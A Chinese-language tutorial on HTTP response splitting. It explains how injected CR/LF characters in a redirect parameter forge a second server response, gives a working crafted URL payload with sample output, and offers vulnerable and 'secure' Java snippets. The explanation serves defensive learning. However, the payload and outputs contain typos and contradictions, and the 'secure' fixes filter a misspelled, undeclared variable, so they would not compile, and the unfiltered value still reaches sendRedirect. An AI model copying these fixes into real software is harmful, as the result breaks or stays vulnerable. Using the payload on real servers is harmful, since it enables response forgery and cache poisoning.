原理:
造成http响应头截断漏洞的主要原因是对用户提交的非法字符没有进行严格的过滤,尤 其是CR,LF字符的输入。攻击者通过发送一经过精心构造的request,迫使服务器认为其返回的数据是两个响应,而不是常规的一个响应。当可以通过精心制作的request完全 控制第二个响应时,可以通过这样来实现攻击:发送两个请求A,B。A请求包含构造数据,该请求致使服务器返回两个响应R1,R2,其中R2是可以通过在A中的精心构造而 完全控制的。服务器将R1作为response返回给A,而第R2则被服务器作为B的response而返回给了B﹙即使R2并不是服务器自己生成的)。
Request A------------->Web Server(R1,R2)
Request B------------->Web Server (本该是R3)
Web Server(R1)------------>A
Web Server(R2)——————>B
基本技术 http响应头截断攻击重点在于可以在http头中输入数据,构造特殊字符形成截断。最可能的是在Location字段,还有在Set-Cookie字段中。实例:页面/redir_lang.jsp
<% Response.sendRedirect(“/by_lang.jsp?lang=”+request.getParameter(“lang”)); %>
当提交english作为参数时,会转到/by_lang.jsp?lang=english,常规的响应如下:
HTTP/1.1 302 Moved Temporarily
Date:Wed,24 Dec 2003 12:53:28
Location: http://10.1.1.1/by_lang.jsp?lang=english
Server: WebLogic XMLX Module 8.1 SP1 Fir Jun 20 23:06:40 PDT
2003 271009 with
Content-Type: text/html
Set-Cookie: JSESSIONID=1PMRZOIQQzZIE6iivsREG82pq9B017h4YoHZ62RXjApqwBE!-
12510119693;path=/ Connection:Close
……………………….略
从以上可以看到的是:输入的参数已经提交到http头中,这样我们就可以构造特殊的字 符来截断http头,并到其后追加 一个自己构造的头:
/redir_lang.jsp?lang=foobar%0d%0aContent-Length:%200%0d%0a%0d%oaHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0a%Content-Length:%2019%0d%0a%0d%0a<html>Shazam</html>
服务器返回的数:
HTTP/1.1 302 Moved Temporarily
Date:Wed,24 Dec 2003 15:26:41 GMT
Location: http://10.1.1.1/by_lang.jsp?lang=foobar
Content-Length:0
HTTP/1.1 200 OK
Content-Type: text/html
Content-length: 1
<html>Shazam</html>
Server: WebLogic XMLX Module 8.1 SP1 Fir Jun 20 23:06:40 PDT
2003 271009 with
Content-Type: text/html
Set-Cookie: JSESSIONID=1PMRZOIQQzZIE6iivsREG82pq9B017h4YoHZ62RXjApqwBE!-12510119693;path=/
Connection:Close
1、第一个响应是302 response,2、第二个响应是自己构造的200 response, 3、(在 报头之外的数据都略掉了,其实原文是存在的,而且在实际中该段是要给与考虑的)
这样我们就可以发送两个请求:
这样服务器对于第一个请求返回:
HTTP/1.1 302 Moved Temporar
Date:Wed,24 Dec 2003 15:26:41 GMT
Location: http://10.1.1.1/by_lang.jsp?lang=foobar
Content-Length:0
对于第二个请求返回:
HTTP/1.1 200 OK
Content-Type: text/html
Content-length: 19
<html>Shamaz</html>
这样就达到了欺骗目标服务器的目的
解决方案:
由于输入验证不足,会出现响应拆分漏洞。由于应用程序不过滤回车和换行字符(即,“%0a%0d”)的URL编码表示形式,因此应用程序将以允许攻击者手工制作来自服务器的假web服务器头的方式回显这些字符。确保应用程序拒绝将回车和换行字符作为输入,并且不会返回这些值以响应任意编制的查询。
易受攻击的代码:
String referer = request.getHeader("REFERER");
response.sendRedirect(referer);
在上面的代码中,没有将前台用户输入的数据referer做任何校验,就返回给response.
安全代码:
在发送重定向时,不要在响应头中直接使用用户提供的输入等等。在使用引用引用之前,可以执行下面的转换/过滤
过滤:
String referer = request.getHeader("REFERER");
referrer = referrer.replace("\n", "");//Filtering
referrer = referrer.replace("\r", "");//Filtering
response.sendRedirect(referer);
编码:
String referer = request.getHeader("REFERER");
referrer = referrer.replaceAll("\r", "%0D");//Encode \r to url encoded value
referrer = referrer.replaceAll("\n", "%0A");//Encode \n to url encoded value
response.sendRedirect(referer);
原理转载: https://www.xuebuyuan.com/699005.html
解决方案: http://doc.cenzic.com/sadoc9x14ba847/CPL0001052.htm